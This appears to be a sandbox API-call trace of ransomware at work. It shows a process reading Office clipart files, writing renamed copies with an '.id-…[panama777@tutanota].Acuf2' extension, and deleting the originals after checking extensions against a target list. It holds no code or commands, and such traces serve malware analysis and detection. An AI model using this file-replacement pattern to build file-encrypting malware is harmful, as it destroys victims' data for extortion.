	[0255.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63
	[0255.222] lstrlenW (lpString=".jpg") returned 4
	[0255.222] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.222] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.222] lstrlenW (lpString="AN04235_.WMF") returned 12
	[0255.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.222] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=7804) returned 1
	[0255.222] CloseHandle (hObject=0x334) returned 1
	[0255.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 0x20
	[0255.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.223] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.223] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0255.223] GetLastError () returned 0x0
	[0255.223] ReadFile (in: hFile=0x334, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x1e7c, lpOverlapped=0x0) returned 1
	[0255.225] WriteFile (in: hFile=0x328, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1e80, lpOverlapped=0x0) returned 1
	[0255.226] ReadFile (in: hFile=0x334, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.226] WriteFile (in: hFile=0x328, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.226] SetEndOfFile (hFile=0x328) returned 1
	[0255.226] CloseHandle (hObject=0x328) returned 1
	[0255.226] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.226] SetEndOfFile (hFile=0x334) returned 1
	[0255.229] CloseHandle (hObject=0x334) returned 1
	[0255.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 1
	[0255.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63
	[0255.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63
	[0255.230] lstrlenW (lpString=".doc") returned 4
	[0255.230] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.230] lstrlenW (lpString=".docx") returned 5
	[0255.230] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.230] lstrlenW (lpString=".pdf") returned 4
	[0255.230] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.230] lstrlenW (lpString=".xls") returned 4
	[0255.230] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.230] lstrlenW (lpString=".xlsx") returned 5
	[0255.230] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.230] lstrlenW (lpString=".ppt") returned 4
	[0255.230] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63
	[0255.230] lstrlenW (lpString=".zip") returned 4
	[0255.230] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.230] lstrlenW (lpString=".rar") returned 4
	[0255.230] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.230] lstrlenW (lpString=".bz2") returned 4
	[0255.230] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.230] lstrlenW (lpString=".7z") returned 3
	[0255.230] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63
	[0255.230] lstrlenW (lpString=".dbf") returned 4
	[0255.230] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63
	[0255.230] lstrlenW (lpString=".1cd") returned 4
	[0255.230] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63
	[0255.231] lstrlenW (lpString=".jpg") returned 4
	[0255.231] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63
	[0255.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63
	[0255.231] lstrlenW (lpString=".doc") returned 4
	[0255.231] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.231] lstrlenW (lpString=".docx") returned 5
	[0255.231] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.231] lstrlenW (lpString=".pdf") returned 4
	[0255.231] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.231] lstrlenW (lpString=".xls") returned 4
	[0255.231] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.231] lstrlenW (lpString=".xlsx") returned 5
	[0255.231] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.231] lstrlenW (lpString=".ppt") returned 4
	[0255.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63
	[0255.231] lstrlenW (lpString=".zip") returned 4
	[0255.539] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.539] lstrlenW (lpString=".rar") returned 4
	[0255.539] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.539] lstrlenW (lpString=".bz2") returned 4
	[0255.539] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.539] lstrlenW (lpString=".7z") returned 3
	[0255.539] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63
	[0255.539] lstrlenW (lpString=".dbf") returned 4
	[0255.539] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63
	[0255.539] lstrlenW (lpString=".1cd") returned 4
	[0255.539] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63
	[0255.539] lstrlenW (lpString=".jpg") returned 4
	[0255.540] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.540] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.540] lstrlenW (lpString="AN04369_.WMF") returned 12
	[0255.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0255.561] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=4808) returned 1
	[0255.561] CloseHandle (hObject=0x344) returned 1
	[0255.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 0x20
	[0255.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0255.562] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.562] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0255.565] GetLastError () returned 0x0
	[0255.565] ReadFile (in: hFile=0x344, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x12c8, lpOverlapped=0x0) returned 1
	[0255.568] WriteFile (in: hFile=0x29c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x12d0, lpOverlapped=0x0) returned 1
	[0255.569] ReadFile (in: hFile=0x344, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.569] WriteFile (in: hFile=0x29c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.569] SetEndOfFile (hFile=0x29c) returned 1
	[0255.569] CloseHandle (hObject=0x29c) returned 1
	[0255.569] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.569] SetEndOfFile (hFile=0x344) returned 1
	[0255.619] CloseHandle (hObject=0x344) returned 1
	[0255.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 1
	[0255.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63
	[0255.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63
	[0255.619] lstrlenW (lpString=".doc") returned 4
	[0255.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.620] lstrlenW (lpString=".docx") returned 5
	[0255.620] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.620] lstrlenW (lpString=".pdf") returned 4
	[0255.620] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.620] lstrlenW (lpString=".xls") returned 4
	[0255.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.620] lstrlenW (lpString=".xlsx") returned 5
	[0255.620] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.620] lstrlenW (lpString=".ppt") returned 4
	[0255.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63
	[0255.620] lstrlenW (lpString=".zip") returned 4
	[0255.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.620] lstrlenW (lpString=".rar") returned 4
	[0255.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.620] lstrlenW (lpString=".bz2") returned 4
	[0255.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.620] lstrlenW (lpString=".7z") returned 3
	[0255.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63
	[0255.620] lstrlenW (lpString=".dbf") returned 4
	[0255.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63
	[0255.620] lstrlenW (lpString=".1cd") returned 4
	[0255.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63
	[0255.620] lstrlenW (lpString=".jpg") returned 4
	[0255.620] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63
	[0255.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63
	[0255.620] lstrlenW (lpString=".doc") returned 4
	[0255.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.621] lstrlenW (lpString=".docx") returned 5
	[0255.621] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.621] lstrlenW (lpString=".pdf") returned 4
	[0255.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.621] lstrlenW (lpString=".xls") returned 4
	[0255.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.621] lstrlenW (lpString=".xlsx") returned 5
	[0255.621] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.621] lstrlenW (lpString=".ppt") returned 4
	[0255.621] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63
	[0255.621] lstrlenW (lpString=".zip") returned 4
	[0255.621] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.621] lstrlenW (lpString=".rar") returned 4
	[0255.621] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.621] lstrlenW (lpString=".bz2") returned 4
	[0255.621] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.621] lstrlenW (lpString=".7z") returned 3
	[0255.621] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63
	[0255.621] lstrlenW (lpString=".dbf") returned 4
	[0255.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63
	[0255.621] lstrlenW (lpString=".1cd") returned 4
	[0255.621] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63
	[0255.621] lstrlenW (lpString=".jpg") returned 4
	[0255.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.622] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.622] lstrlenW (lpString="BD00160_.WMF") returned 12
	[0255.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0255.627] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=22516) returned 1
	[0255.627] CloseHandle (hObject=0x344) returned 1
	[0255.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x20
	[0255.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.817] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.817] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0255.818] GetLastError () returned 0x0
	[0255.818] ReadFile (in: hFile=0x334, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x57f4, lpOverlapped=0x0) returned 1
	[0255.831] WriteFile (in: hFile=0x320, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x5800, lpOverlapped=0x0) returned 1
	[0255.832] ReadFile (in: hFile=0x334, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.832] WriteFile (in: hFile=0x320, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.832] SetEndOfFile (hFile=0x320) returned 1
	[0255.832] CloseHandle (hObject=0x320) returned 1
	[0255.832] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.832] SetEndOfFile (hFile=0x334) returned 1
	[0255.835] CloseHandle (hObject=0x334) returned 1
	[0255.835] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 1
	[0255.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63
	[0255.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63
	[0255.835] lstrlenW (lpString=".doc") returned 4
	[0255.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.835] lstrlenW (lpString=".docx") returned 5
	[0255.835] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.835] lstrlenW (lpString=".pdf") returned 4
	[0255.835] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.835] lstrlenW (lpString=".xls") returned 4
	[0255.835] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.835] lstrlenW (lpString=".xlsx") returned 5
	[0255.835] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.836] lstrlenW (lpString=".ppt") returned 4
	[0255.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63
	[0255.836] lstrlenW (lpString=".zip") returned 4
	[0255.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.836] lstrlenW (lpString=".rar") returned 4
	[0255.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.836] lstrlenW (lpString=".bz2") returned 4
	[0255.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.836] lstrlenW (lpString=".7z") returned 3
	[0255.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63
	[0255.836] lstrlenW (lpString=".dbf") returned 4
	[0255.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63
	[0255.836] lstrlenW (lpString=".1cd") returned 4
	[0255.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63
	[0255.836] lstrlenW (lpString=".jpg") returned 4
	[0255.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63
	[0255.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63
	[0255.836] lstrlenW (lpString=".doc") returned 4
	[0255.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.836] lstrlenW (lpString=".docx") returned 5
	[0255.836] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.836] lstrlenW (lpString=".pdf") returned 4
	[0255.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.836] lstrlenW (lpString=".xls") returned 4
	[0255.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.837] lstrlenW (lpString=".xlsx") returned 5
	[0255.837] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.837] lstrlenW (lpString=".ppt") returned 4
	[0255.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63
	[0255.837] lstrlenW (lpString=".zip") returned 4
	[0255.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.837] lstrlenW (lpString=".rar") returned 4
	[0255.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.837] lstrlenW (lpString=".bz2") returned 4
	[0255.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.837] lstrlenW (lpString=".7z") returned 3
	[0255.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63
	[0255.837] lstrlenW (lpString=".dbf") returned 4
	[0255.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63
	[0255.837] lstrlenW (lpString=".1cd") returned 4
	[0255.838] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63
	[0255.838] lstrlenW (lpString=".jpg") returned 4
	[0255.838] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
